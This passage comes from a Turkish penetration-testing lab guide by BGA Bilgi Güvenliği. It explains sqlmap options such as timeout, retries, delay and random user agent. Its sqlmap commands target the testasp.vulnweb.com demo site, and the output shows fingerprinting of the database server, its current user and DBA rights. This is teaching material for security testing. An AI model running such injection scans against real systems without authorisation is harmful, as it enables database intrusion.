içerisinden rastgele seçilerek hedef üzerinde zaafiyet istismar denemeleri gerçekleştirir. Referrer için ise --referer parametresi kullanılabilir. Not: HTTP header bilgilerinin kullanılması için --level ile 3 ve üstü bir değer ifade edilmelidir. --delay parametresi ile gönderilen http(s) istekleri arasındaki gecikme miktarı da saniye cinsinden ifade edilebilmektedir. --delay parametresi float türde veri de kabul etmektedir. ( --delay=1.5 ) 6. Adım: --timeout parametresi ile normal http timeout süresi göz önünde bulundurulmadan önceki bekleme süresi belirtilebilir. Bu da fload türde bir değişken olarak tanımlıdır (ondalıklı verilebilir) ve ön tanımlı olarak sqlmap.conf dosyasında 30 sn olarak ayarlanmıştır.
  • 28. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity root@bt:/pentest/database/sqlmap# cat sqlmap.conf | grep timeout # Seconds to wait before timeout connection. timeout = 30 # Maximum number of retries when the HTTP connection timeouts. 7. Adım: --retries parametresi ile timeouta uğrayan http(s) isteklerinin tekrarlanma sayısı verilebilir. Bu değer sqlmap.conf dosyasında ön tanımlı olarak 3 olarak belirtilmiştir. root@bt:/pentest/database/sqlmap# cat sqlmap.conf | grep retries # Maximum number of retries when the HTTP connection timeouts. retries = 3 8. Adım: Konunun daha iyi anlaşılması için bir kaç somut örnek üzerinden devam edelim.Hedef sisteme ait veritabanı kullanıcısını belirleme(--current-user) ve bu kullanıcının veritabanı admin haklarına sahip olup olmadığını(--is-dba) belirleyelim. Ayrıca uzak sistem üzerindeki işletim sistemi/versiyonu, kullanılan web teknolojisi adı/versiyonu, veritabanı uygulaması türü/versiyonu (-f) gibi bilgileri alalım. root@bt:~# cd /pentest/database/sqlmap/;python2 sqlmap.py –u 'http://testasp.vulnweb.com/showforum.asp?id=0' --current-user --is-dba -f [16:59:19] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: active fingerprint: Microsoft SQL Server 2005 [16:59:19] [INFO] fetching current user current user: 'acunetix' [16:59:21] [INFO] testing if current user is DBA current user is DBA: False Görüldüğü gibi mevcut kullanıcımız acunetix kullanıcısıdır ve dba degildir. Hedef sistem işletim sistemi ve kullanılan teknoloji bilgileride yukarıda çıktıda görülmektedir.
  • 29. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9. Adım: Bazen sqlmap URL bağlantısını test etmeye çalıştıgında timeout alarak URL bağlantı kuramaz. Gerçekten bağlantı olup olmadığı browserdan adres çağrılarak görülebilir. Şayet browser üzerinden ilgili adrese bağlantı gerçekleştiriliyor fakat sqlmap bağlantı kuramıyorsa, bu gibi durumlarda hedef web uygulaması tarafında user agent bilgisi kontrol ediliyor olabilir. Bu tür sorunları aşmak için --random-agent parametresi ile çeşitli user agent bilgileri ile hedef test edilirse sonuç başarılı olacaktır. Aşağıda örnek bir kullanım verilmiştir. -v 3 parametresi ile gönderilen tüm payloadlar görülebilir. --retries ile timeout vs. gibi başarısız bağlantılarda tekrar denenmemesi için 0 değeri set edilmiştir. root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://www.example.com/test/index.asp?id= 1' --random-agent -p word --dbs -- dbms=mssql --keep-alive --time-sec=1 -v 3 --retries 0 --timeout=1 --threads=10 Not: Bu doküman BGA Bilgi Güvenliği A.Ş için Mesut Türk tarafından hazırlanmıştır.